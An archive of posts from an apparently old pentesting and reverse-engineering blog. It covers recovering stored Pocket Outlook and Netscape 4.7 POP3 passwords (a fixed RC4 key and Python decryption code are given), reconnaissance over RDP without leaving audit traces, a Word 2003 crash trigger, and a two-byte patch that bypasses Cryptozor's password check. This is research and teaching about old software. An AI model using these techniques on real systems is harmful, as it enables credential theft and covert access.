One solution would be to use FakeNetBIOS tools, but they rely on raw sockets, which are broken on Windows XP SP2. Another would be to use Scapy as a NBNS responder, but Windows port is not mature yet :)

As usual, the best solution is to rely on Windows built-in mechanisms to solve the puzzle.

Under HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters, there is a value of type REG_MULTI_SZ called OptionalNames.

Any name put in there will be claimed by the local computer during NBNS name resolution. Then:

net stop lanmanserver
net start lanmanserver

Job done!

Pentester trick #1: using RDP Client 5 on Vista

2008-02-20T07:10:00.004+01:00

Nonop's recent post on pentester's essentials was inspiring enough for me to get back on-line, on this long-abandoned blog.

So here is the first post of a (hopefully long) series about pentester tricks, from my very own field experience. Enjoy!

Trick #1 : using RDP Client 5 on Vista

RDP Client 5 has a great advantage over RDP Client 6 : it allows connecting to the remote target without giving any credential ; thus the pentester can get access to server version, computer name and trusted domains, without leaving any track in the security audit trail.

However RDP Client 6 has been pushed on Windows Update quite a while ago, and is required in some cases (like Windows Vista/2008 Remote Desktop with full security options ... which are recommended given flaws found in previous versions of RDP protocol).

Fortunately, it is quite easy to make both clients living together. RDP Client 5 consists of only 2 binaries : MSTSC.EXE and MSTSCAX.DLL. The trick is to copy both files, and to create a MSTSC.EXE.LOCAL file in the same directory. This will force MSTSC.EXE to load libraries from the current directory instead of the global system directory.

References: [1] [2]

2006-06-22T16:25:00.000+01:00

Recovering Pocket Outlook passwords, part 2

Having a BLOB

Now, it is time to recover the password from the protected BLOB. First step is to get a valid BLOB, we do that by setting a breakpoint just before and just after CryptProtectData().

Before:

BLOB = {
size=0x0A (10)
data=L"toto"
}

After:

BLOB = {
size=0x7E (126)
data=
00075C40 DCD 1
00075C44 DCD 0
00075C48 DCD 0
00075C4C DCD 0
00075C50 DCD 0
00075C54 DCD 0x20000000
00075C58 DCD 0
00075C5C DCD 0x6801
00075C60 DCD 0x10
00075C64 DCD 0x10
00075C68 DCD 0xFD7C53C
00075C6C DCD 0x5CD8C0A3
00075C70 DCD 0x7A39FA3F
00075C74 DCD 0xDA8959BD
00075C78 DCD 0
00075C7C DCD 0x8004
00075C80 DCD 0x10
00075C84 DCD 0x10
00075C88 DCD 0x65412C18
00075C8C DCD 0x6EDAE82
00075C90 DCD 0xE76ADC3
00075C94 DCD 0xC909937A
00075C98 DCD 0xA
00075C9C DCD 0x720053C6
00075CA0 DCD 0x6CD865A4
00075CA4 DCD 0x14C609
00075CA8 DCD 0xD5870000
00075CAC DCD 0x87F4EAE5
00075CB0 DCD 0xCBB1CE52
00075CB4 DCD 0x19CDF0BB
00075CB8 DCD 0xCC3F1E90
00075CBC DCD 0xCB6D

Finding password store

Since passwords survive a reboot, this BLOB has to be stored somewhere in a persistent storage area. Under Windows CE 4.2, the most common way to do this is to use a Database.

Having a look at system databases (using HPC Database Viewer for example), we quickly find that the BLOB is stored in the "pMailFolders" database, with property identifier #0x8304.

Getting the password back

There are several steps to retrieve a cleartext password:

Getting the BLOB out of the Database ;
Calling CryptUnprotectData() correctly.

Let's write a little piece of code that does both. Surprisingly, it works out of the box! That means that the CRYPTPROTECT_SYSTEM flag is not enforced by the kernel in my case!

In case CryptUnprotectData() fails, here are some tricks that could work:

Calling COREDLL!SetProcPermissions(-1) ;
Traditional WriteProcessMemory()/CreateRemoteThread() combination ;
Understanding the CryptoAPI BLOB format, for hand decryption.

If you want to know more ... just send me PDA's :)

Greets: mao from oxid.it

2006-06-19T16:17:00.000+01:00

Recovering Pocket Outlook passwords, part 1

What are we doing here ?

We are trying to recover stored passwords inside a Windows Mobile PDA. The target configuration is:

Software: Windows Mobile 2003 1st Ed.
Hardware: HP iPaq 5550 w/ French ROM v1.10
Tools: IDA Pro 5.0 w/ WinCE Debugging Module, ITSME tools

Analysis

Looking for an entry point

"Pocket Outlook" is named internally the "TMAIL.EXE" application. One way to begin the analysis is to look for the "save password" checkbox inside resources. However, "TMAIL.EXE" has few resources and many dependencies. Having a closer look, it appears that all resources are located inside "OUTRES.DLL". This is not an explicit dependency, for it is loaded through a LoadLibraryW() call.

Two dialogs have the "save password" checkbox: #32803 and #32955.

At some point, the application will have to get the password value from the textbox. This is where debugging comes into play. There are only 10 references to GetDlgItemTextW() - it seems easy to put 10 breakpoints and narrow down the search.

Debugging TMAIL.EXE

However TMAIL.EXE is a ROM application, so no breakpoint can be set! The trick here is to kill the running TMAIL.EXE application and have the TMAIL.EXE application running from Flash memory.

Z:\TMAIL Reversing\ITSME tools\itsutils\build>pps
handle n base kern user heap exe
13878f82 1 1c000000 0.0 0.0 0 Notes.exe
1395a67e 5 16000000 0.0 0.0 0 DM_k.exe
13a27efe 2 12000000 0.0 0.0 0 BTTrayCE.exe
13c528fe 5 0a000000 0.0 0.0 0 srvtrust.exe
13cfa6de 15 06000000 0.0 0.0 0 gwes.exe
13fb7002 1 c2000000 0.0 0.0 0 NK.EXE
337a1d4a 5 22000000 0.0 0.0 0 tmail.exe -RunInBKG
33809952 3 1a000000 0.0 0.0 0 repllog.exe /remote /all /h /p:all
33ef189a 1 14000000 0.0 0.0 0 BioDetect.exe
5346547e 1 1e000000 0.0 0.0 0 calc.exe
53f47e5e 67 08000000 0.0 1.9 0 device.exe
73c578c6 5 0c000000 0.0 0.0 0 shell32.exe
73f8e822 6 04000000 0.0 0.0 0 filesys.exe
9335818e 3 26000000 0.0 0.0 0 udp2tcp.exe
93405292 1 28000000 0.0 0.0 0 cerdisp.exe
934dd936 4 20000000 0.0 13.0 0 rapisrv.exe
b395afd6 5 18000000 0.0 0.0 0 poutlook.exe
b3c577d6 2 10000000 0.0 0.0 0 connmgr.exe
f340541e 2 24000000 0.0 0.0 0 rnaapp.exe -n -m -e"`USB Default"
f3c5790e 5 0e000000 0.0 0.0 0 services.exe
60 0 ........ 0.0 14.9 0 total

Z:\TMAIL Reversing\ITSME tools\itsutils\build>pkill tmail.exe
00000000 | tmail.exe killed

Now we can see that the "good" call is coming from some sub @ 0x3AEE8.

Tracing further

GetDlgItemTextW() prototype is the following (including registers used in ARM calling convention):

UINT GetDlgItemText( [R0] HWND hDlg, [R1] int nIDDlgItem, [R2] LPTSTR lpString, [R3] int nMaxCount );

R1 will take the following values:

0x805B account name
0x805C login name
0x805D password

Now we have to track the use of the password string. Placing a hardware read breakpoint on it, we are interrupted inside COREDLL with the following call stack: COREDLL <- wcslen() <- sub_355D8().

The heart of it all

A few lines below lays what we were looking for: a CryptProtectData() call!

CryptProtectData() prototype is the following (including registers used in ARM calling convention):

BOOL WINAPI CryptProtectData(
[R0] DATA_BLOB* pDataIn,
[R1] LPCWSTR szDataDescr,
[R2] DATA_BLOB* pOptionalEntropy,
[R3] PVOID pvReserved,
[stack] CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,
[stack] DWORD dwFlags,
[stack] DATA_BLOB* pDataOut
);

Now the values are:

arg0 = input buffer (our password, in Unicode form)
arg1 = NULL
arg2 = "Software\Microsoft\Inbox\Svc" (optional entropy string, of length 0x38)
arg3 = NULL
arg4 = NULL
arg5 = 0x20000000
arg6 = some output buffer

The problem

From WINCRYPT.H, we can see that 0x20000000 corresponds to the CRYPTPROTECT_SYSTEM flag.

And there we have a problem: only a "trusted" process will be allowed to access the data. In this case, that means a ROM-based process.

Solution ? You will have to wait for the next blog entry :)

2006-06-08T15:36:00.000+01:00

Word "0day" : was it a 0day ?

We have all heard about the recent Word flaw that has been exploited by targeted attacks (if you are now familiar with those, read [1] and [2]). If you have an account on OpenRCE (free), you can also read Kostya's blog on the topic.

However, reading Technet Flash Volume 8/Issue 11 from Microsoft (currently available here, or later in the archives), I was wondering about the following line:

"Microsoft Security Advisory (919637): Vulnerability in Word Could Allow Remote Code Execution

Microsoft has released an advisory on a zero-day exploit that could affect users of Word Smart Tags."

So the flaw would lie in the "Smart Tags" feature of Word. This feature is in charge of converting "1. L" to "1 liter", and was not present in Office 2000, which is unaffected by the flaw.

I could not help but thinking about the following post I have discarded a few weeks ago:

Possible Overflow in MS Word 2003
I've found a bug in Word 2003, that could possibly lead to a buffer overflow.
To reproduce the bug, you have simply to create a document with a word of 32 or 33 characters (letters or numbers), followed by "." and some other character. Ex.:
01234567890123456789012345678901. Test
The text above should crash MS Word 2003, with Buffer Overrun error.

Strange coincidence, isn't it ?

PS. To be safe from this flaw, just use "winword.exe /safe". This is not a joke.

2006-04-19T21:10:00.000+01:00

Recovering Netscape Communicator 4.7 POP3 passwords

Some people are still using Netscape Communicator 4.7, you know -- and they might have to recover forgotten POP3 passwords ...

Step 1 : FILEMON and REGMON

Monitoring Netscape activity, it becomes pretty obvious that passwords are stored:

under the following registry key, of type REG_SZ:

HKCU\Software\Netscape\Netscape Navigator\biff\users\user name\servers\server name\password

in two files (prefs.js and liprefs.js), located inside the following directory:

C:\Program Files\Netscape\Users\user name\

For example, let's say that both values are :

=pGpFLmBAYsBTTdV
user_pref("mail.pop_password", "IqGGOfLNOzYScTc=");

Step 2: hand decryption

At first sight, it looks like file-stored passwords are relying on Base64 encoding (because of the = sign at the end). After a few tests, it is also noticeable that:

Original and encoded passwords have same length
Same passwords give same results

So we have unsalted, fixed-key encrypted passwords. Some people have already found that the encryption scheme is plain old XOR, so it is possible to recover the beginning of the XOR stream, by encrypting a known password and XOR-ing it with the result. First bytes can be found using a trivial Python script:

import base64
import operator
input = base64.b64decode("IqGGOfLNOzYScTc=")
key = "thisisatest"
print map(operator.xor, map(ord, input), map(ord, key))

[86, 201, 239, 74, 155, 190, 90, 66, 119, 2, 67]

However, this does not work for registry-stored passwords, and is totally unsatisfactory for the mind :)

Step 3 : binary analysis

So it's time to have a closer look at NETSCAPE.EXE ... The binary file is huge (over 5 MB), but not stripped - which is really cool.

After few minutes of browsing, it becomes pretty clear that MSG_SetPasswordForMailHost() is calling SECNAV_MungeString(), which is relying on the RC4 stream cipher. RC4_CreateContext() is initialized with a fixed key, namely:

0xD0869CDEC6EEEB3E

Registry-stored passwords are encrypted with the same stream, but also reversed (using the strrev() function) and scrambled using the following table:

// To be used for characters in range [0x40 ... 0x7F]
unsigned char table[] = {
0x40, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x41, 0x42,
0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x61, 0x62,
0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F
};

Using Python Crypto Toolkit, it is now possible to test our results:

from Crypto.Cipher import ARC4
import base64
input = base64.b64decode("IqGGOfLNOzYScTc=")
key = "\xD0\x86\x9C\xDE\xC6\xEE\xEB\x3E"
o=ARC4.new(key)
print o.decrypt(input)

thisisatest

Job finished!

Cryptozor & Steganozorusor why dinosaurs disappeared

2006-04-19T12:36:00.000+01:00

Introduction

Believe it or not, I have been told that some people rely on Cryptozor(us) software for file encryption.

Cryptozor(us) is from Thomas Nerrant. The author's primary web site seems down currently, but it is possible to find a working mirror: there are some available on [1][2][3].

First impression is that the GUI is ... poor, to say the least.

The software claims using PC1 and CARACACHS algorithms, which are mostly unknown from the community. This is often bad news ... for the software :)

First tries

First of all, let's try to encrypt a simple, plaintext file (such as "README.TXT"). The original file size is 15,331 bytes. A "README.TXT.CTZ" file is created on output. Here are the results using different passwords and the CARACACHS-128 algorithm:

File #1, input password "a", output file size 15,402 bytes.
File #2, input password "aa", output file size 15,402 bytes.

Let's compare both files using CrypTool. First, we can see that the output file distribution for #1 is far from being good:

But the really bad news is that file #2 has exactly the same distribution:

What kind of "encryption" algorithm could give such results ? Having a closer look, file #1 and #2 differ on byte ranges [0x00..0x1C] and [0x3C00..0x3C1F]. Both files are otherwise exactly the same !

At this point, we are pretty confident in the fact that the output file is "scrambled" with a fixed key, and that the encryption key is useless in the process of decryption. Now let's have a look at "CRYPTOZORUS.EXE".

Binary analysis

Having unpacked the file (upx -d cryptozorus.exe), we begin analysis. An idea to start with would be searching for a string reference to "!#? Bad Password ?#!". Such a reference can be found in the following piece of code (comments have been added later):

.text:0040314D case6_bad_password: ; CODE XREF: dispatch_sub+181j
.text:0040314D cmp ebx, 6
.text:00403150 jnz short case7_stopped
.text:00403152 mov word ptr [edi+10h], 50h
.text:00403158 mov edx, offset a?BadPassword? ; " !#? Bad Password ?#!"
.text:0040315D lea eax, [ebp+var_1C]
.text:00403160 call wrap_LStrFromPChar

The function at 0x00402F88 is clearly a switch/case related to the program's internal state. We call it "dispatch_sub()". When state == 6, "bad password" is displayed.

There are many references to dispatch_sub(), so it is better to trace the program with a debugger (namely OllyDbg) to find the caller on case 6. The result is pretty obvious:

.text:00408218 bad_password: ; CODE XREF: maybe_write_file+FFj
.text:00408218 push 6 ; 6 = BAD PASSWORD
.text:0040821A mov eax, [esi]
.text:0040821C mov edx, [eax]
.text:0040821E push edx
.text:0040821F call dispatch_sub

This piece of code is entered on the following condition:

.text:00408071 call test_password
.text:00408076 add esp, 8
.text:00408079 test al, al
.text:0040807B jz bad_password ; 6 = BAD PASSWORD

By replacing "jz bad_password" with "nop", it is possible to completly bypass password checking.

Conclusion

By patching 2 bytes inside the program file, we made a program that will decrypt any file without knowing the password. Total analysis time is under 20 minutes. Would you call that security software ?

PS. Having a closer look at test_password(), it seems that this function relies on the "CRYPTOZORUS_THOMASNERRANT.COM" string. The exact purpose of this string is left as an exercise to the reader. There are 2 possibilities:

This is the fixed encryption key;
This string, encrypted with user password, is used for password checking on decryption.